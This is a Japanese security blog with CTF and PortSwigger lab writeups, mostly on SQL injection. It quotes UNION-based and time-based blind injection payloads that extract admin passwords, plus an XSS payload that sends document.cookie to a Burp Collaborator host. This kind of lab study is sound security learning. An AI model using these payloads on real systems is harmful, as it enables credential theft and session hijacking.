shinobe179の日記

@shinobe179 の技術メモ・やらかし録

SQL injection attack, listing the database contents on Oracle

はじめに

SQL injection attack, listing the database contents on Oracle」のWriteupです。

portswigger.net

Summary

  • Oracleにおける information.schema 相当のテーブル
    • information_schema.tables : ALL_TABLES
    • information_schema.columns : ALL_TAB_COLUMNS

以下のドキュメントでは「静的データディクショナリビュー」のひとつとして紹介されています。

docs.oracle.com

Writeup

今回の目的は、administratorとしてサイトにログインすることです。前回同様、テーブル名とカラム名の提示はありません。

列数、それぞれの型は前回と同じだろうという見立てのもと、横着して ALL_TABLES の確認から始めます。 USERS_WLTIJK というテーブルがあることが分かりました。

f:id:befs_anne:20210425084250p:plain

次はカラム名を確認するために、 ALL_TAB_COLUMNS を確認します。 USERNAME_POPCKPPASSWORD_ZCWMZO でした。

f:id:befs_anne:20210425084323p:plain f:id:befs_anne:20210425084350p:plain

あとはそれぞれのカラムの値を USERS_WLTIJK テーブルから取得します。

f:id:befs_anne:20210425084422p:plain

ログインできました。

f:id:befs_anne:20210425084505p:plain

WaniCTF'21-spring Writeup

はじめに

「WaniCTF'21-spring」の解けたやつだけWriteupです。久しぶりのCTF、Web問をたくさん解けました。徳丸本(基礎試験合格含む)、PortSwiggerのWeb Security Academyでコツコツ勉強してきた成果が出てすごく嬉しいです。

wanictf.org

Crypto

Simple conversion

コード内で int.from_bytes() が使われていたので、 to_bytes() 的なものを使ってREPLでガチャガチャやってたら解けました。

$ python
Python 3.9.1 (default, Feb 11 2021, 14:36:18) 
[Clang 12.0.0 (clang-1200.0.32.2)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> a = open("output.txt").read()
>>> a
'709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229\n'
>>> a = int(a)
>>> 
>>> a
709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
>>> 
>>> b = str(a)
>>> b
'709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229'
>>> 
>>> len(b)
120
>>> 
>>> a.to_bytes(120, "big")
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'
>>>

Forensics

presentation

.ppsx形式のファイルは、最初からスライドショー形式で起動するようです。Keynoteで開いて ESC か何かを押したら編集画面に遷移したのであとはよしなに。

secure document

この問題で「AutoHotKey」というものを知りました。キー操作を自動化するためのスクリプトエンジンだそうです。問題ファイルにスクリプトファイルが同梱されていました。以下のスクリプトが動いている状態で the password for today is nani と入力した時に出力される文字列が、同梱されているZipファイルのパスワードのようです。

::the::       ;「the」とタイプしてスペースを押すと実行される、以下同様
Send, +wani   ;「+」はShiftキー
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd       ;YYYYMMDD形式の日時情報を変数xに格納する
SendInput, {home}{right 4}_%x%  ;「%x%」で変数x読み出し
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni:: ;スペースを入力しなくても「ni」をタイプした時点で即実行される
Send, ^a^c{Esc}{home}password{:} {end}
return

WindowsAutoHotKeyをインストールして実際に試したところ、 password: Wan1_20210502_C7F!na! という文字列が生成されました。日付をZipファイル名に付いている 20210428 に変えるのはいいとして、先頭の password: がパスワードに含まれないのはちょっと納得できません。

Misc

binary

sapmle.py に復号アルゴリズムが載っていたので、output.csvを加工して配列にしてそのまま使いました。最後に消すつもりだったものが残ってしまったのか、はたまた難易度を下げるためにあえて残したのか……。

Git Master

イメージをpullしてrunし、 docker exec -it CONTAINER_ID /bin/bash してコンテナのシェルを起動します。gitコマンドをインストールした後、 git loggit reset --hard HEAD^ でコミットを遡りながら html/Flag.txt の内容を確認し、いくつかの差分を繋ぎ合わせたらflagになりました。

Pwn

01 netcat

nc したらシェルに繋がって、 flag.txt を開くだけでした。

Web

fake

いっぱいボタンがあったので、開発者ツールで流し見してたらたまたま href 属性があるリンクを見つけました。

Wani Request 1

Burp Collaboratorでリクエストを受信しました。 RefererAPI GatewayのURLが入っていたので、アクセスしたらflagでした。

exception

hello.py を読むに「リクエストボディがない」「 リクエストボディ内に name がない」ケースのハンドリングがそれぞれできていて、これら以外の事象が発生すると例外処理で500エラーと共にflagをレスポンスする作りになっています。リクエストをBurpでプロキシして以下のように書き換えたら、500エラーが発生しました(値は別に1つだけでもよかったみたいです)。

{
  "name":123,
  "name":123
}

watch animal

まず、以下のペイロードでレスポンスが10秒遅延することを確認しました。Blind SQL injectionできます。

email='OR(''='&password=')||(SELECT+IF(1=1,sleep(10),'a'))--+

Burp Intruderを使って、以下のようなペイロードでパスワードが15文字であることを確認しました。

email='OR(''='&password=')||(SELECT+IF(LENGTH(password)>1,sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+

同じくBurp Intruderで、以下のようなペイロード( SUBSTRING の第2引数と比較する文字列を可変にし、IntruderのCluster bombモードを使用)でパスワード(=flag)を特定しました。

email='OR(''='&password=')||(SELECT+IF(SUBSTRING(password,1,1)='F',sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+

いつもは email のほうでクエリを完結させてそれ以降はコメントアウトして無効化していますが、email の入力欄の最大文字数が32文字と厳しかったです。 password は最大128文字まで許容されていたので、やりたいことは password のほうでやって、 email やAND条件がクエリ内で意味をなさないようにしました(以下クエリ例、太字が入力)。

SELECT * from users WHERE email = '' OR ('' = '' AND password = '') || ...

CloudFront Basic Auth

exceptionと同じ要領で例外を起こしたところ、エラーレスポンスの中に domainName としてAPI GatewayFQDNが含まれていました。 SAMのテンプレートを参考に https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin にアクセスしたところ、ベーシック認証をバイパスしてflagが表示されました。ちゃんと守るなら、CloudFrontでカスタムヘッダーを挿入して、API Gateway側でヘッダーの有無を検証する必要があります。

Wani Request 2(partial)

Page1だけ解けたので一応……。以下を wani というクエリパラメータとして持つPage1にアクセスすると、クッキーを窃視できます。

<img+src=1+onerror=fetch("XXXXXXXXXXXXXXXXXX.burpcollaborator.net",{method:"POST",mode:"no-cors",body:document.cookie})>

SQL injection attack, listing the database contents on non-Oracle databases

はじめに

SQL injection attack, listing the database contents on non-Oracle databases」のWriteupです。

portswigger.net

Summary

  • Oracleを除くデータベースでは、全テーブルやそれらの列に関する情報が information_schema というデータベースに集約されている
  • SQLインジェクションを使ってこのデータベースを覗くことで、本来の目的達成に必要な情報を得られる

Writeup

今回の目的は、administratorとしてサイトにログインすることです。これまではテーブル名やカラム名が事前に提示されていましたが、今回それがありませんでした。 information_schema テーブルを覗く必要があるのだろうと推測できます。

列数確認。3でエラーが出たので2列です。

f:id:befs_anne:20210425015058p:plain

各列の型確認。どちちらも文字列のようです。

f:id:befs_anne:20210425015125p:plain

information_schema.tablestable_name を確認します。

f:id:befs_anne:20210425015009p:plain

users_ejvktj というテーブルがあることが分かりました。

f:id:befs_anne:20210425015158p:plain

次はカラム名を確認するために、 information_schema.columns を確認します。 username_idkdewpassword_cfrdue というカラムがあることが分かりました。

f:id:befs_anne:20210425015238p:plain f:id:befs_anne:20210425015256p:plain

あとはそれぞれのカラムの値を users_ejvktj テーブルから取得すればOKです。

f:id:befs_anne:20210425015325p:plain

ログインできました。

f:id:befs_anne:20210425015350p:plain

SQL injection UNION attack, retrieving multiple values in a single column

はじめに

SQL injection UNION attack, retrieving multiple values in a single column」のWriteupです。

portswigger.net

Summary

  • usersテーブルからusernameとpasswordを取り出さなければならないのに、アプリケーションが利用する文字列型の列が1つしかない場合、 単純に'+UNION+SELECT+username,password+FROM+users+ …などとすることはできない(文字列型の列が、usernameとpasswordの2列ぶん必要だから)
  • このような場合、文字列結合を使って、1つしかない文字列型に押し込む
    • 例えば username||'-'||password のようにする

Writeup

目的は、usersテーブルからusername=administratorのpasswordを取得してログインすることです。

まずは ORDER BY 句を使って列数確認。2列です。

f:id:befs_anne:20210425000833p:plain

次に、文字列型の列の位置確認。2列目が文字列型のようです。

f:id:befs_anne:20210425000853p:plain

最後に、 trackingId の末尾に 'UNION+SELECT+NULL,username||'-'||password+FROM+users+WHERE+username+=+'administrator'-- を付加して送信すると、- で連結されたusernameとpasswordがレスポンスされます。

f:id:befs_anne:20210425000955p:plain

これを使ってログインできました。

f:id:befs_anne:20210425001033p:plain

SQL injection UNION attack, retrieving data from other tables

はじめに

SQL injection UNION attack, retrieving data from other tables」のWriteupです。

portswigger.net

Summary

  • UNION SELECT を使って、別のテーブルの情報を読み出す
  • 列数、型の辻褄を合わせなければならないことに留意

Writeup

目的は、usersテーブルにあるusername=administratorのpasswordを取得してログインすることです。

列数の確認です。 '+ORDER+BY+3--+ でエラーが発生したので2列です。

f:id:befs_anne:20210425000234p:plain

型の確認をしませんでしたが…以下でusernameとpasswordがレスポンスされました。

'+UNION+SELECT+username,password+FROM+users+WHERE+username='administrator'--+

f:id:befs_anne:20210425000318p:plain

administratorとしてログインできました。

f:id:befs_anne:20210425000439p:plain

SQL injection UNION attack, finding a column containing text

はじめに

SQL injection UNION attack, finding a column containing text」のWireupです。

portswigger.net

Summary

  • '+UNION+SELECT+NULL,NULL,NULL--'ORDER BY 1-- で列の数が分かったら、 NULL'a'0 に変えてひとつずつずらしていくことで、その列が期待している型が分かる
  • Repeaterでクエリストリングを調整する時、スペースは +%20 に置き換えなきゃならない
    • Inspectorでチェックできる
    • これまではしてこなかったような…… ※2021-04-25追記: それはたぶんいじってたのがクエリストリングじゃなくてCookieだったから

Writeup

今回の目的は、画面のどこかに指定された文字列「hhOaNL」を表示することです。

列数の確認です。 ORDER BY 4 -- でエラーになるので、列数は3です。

f:id:befs_anne:20210421083259p:plain

' UNION SELECT 'hhOaNL',NULL,NULL-- から、 'hhOaNL' をひとつずつ右にずらしていくと、2番目で成功しました。

f:id:befs_anne:20210421083326p:plain

Blind SQL injection with time delays and information retrieval

はじめに

「Blind SQL injection with time delays and information retrieval」のWriteupです。

portswigger.net

Summary

  • 評価式がtrueの時だけwaitが発生するようなペイロードを投げることで、パスワード長や文字列を識別する
  • Burpの基本機能だけでもレスポンスにかかった時間をログに表示することができそうだが、未だ情報が見つからず

Writeup

TrackingId の末尾に以下の文字列を追加してリクエストを送信したところ、前回同様 ' || pg_sleep(10)-- が刺さりました。

また、以下の文字列を追加することで、評価式の結果によってwaitの発生を制御できることが分かりました。Blind SQL injectionが成立します。

' || (SELECT CASE WHEN 1=1 THEN pg_sleep(10) ELSE pg_sleep(0) END)--

今回はBurp Suiteのみを使って解いてみました。はじめIntruderを使ってcrafted payloadを投げることを考えましたが、Intruderのログにレスポンスにかかった時間を表示する方法が分からず、代わりにTurbo IntruderというExtensionを使いました。

github.com

Proxyから「Send to turbo intruder」して、ペイロードを差し込みたいところに %s を入れます。

pg_sleep によるスリープの影響を各ペイロードに限定するため、 concurrentConnections はを1にします(Intruderでやるときは、OptionsのNumber of threadsを1にする)。まずはパスワードの長さを確認しました。20文字のようです。Turbo Intruderのタイムアウトはデフォルト5秒みたいで、pg_sleep(5) としたところ、Statusが0になっています。

f:id:befs_anne:20210418142221p:plain

同様に、パスワードの文字列を探します。本来であれば、IntruderをCluster bombで使うなどしてやるところですね。Turbo Intruderであればプログラマブルな制御ができるので、もしかしたら「ステータスコードが0だったらbreakして文字数を進める」みたいなことができるかもしれませんが、方法が分からず結局愚直にやりました。※ range(20) 芸をかましたので、20文字目だけ別途確認しました

f:id:befs_anne:20210418142257p:plain

administrator / 5wk2zjvz2b4djd75o8dr でログインできました。

f:id:befs_anne:20210418142521p:plain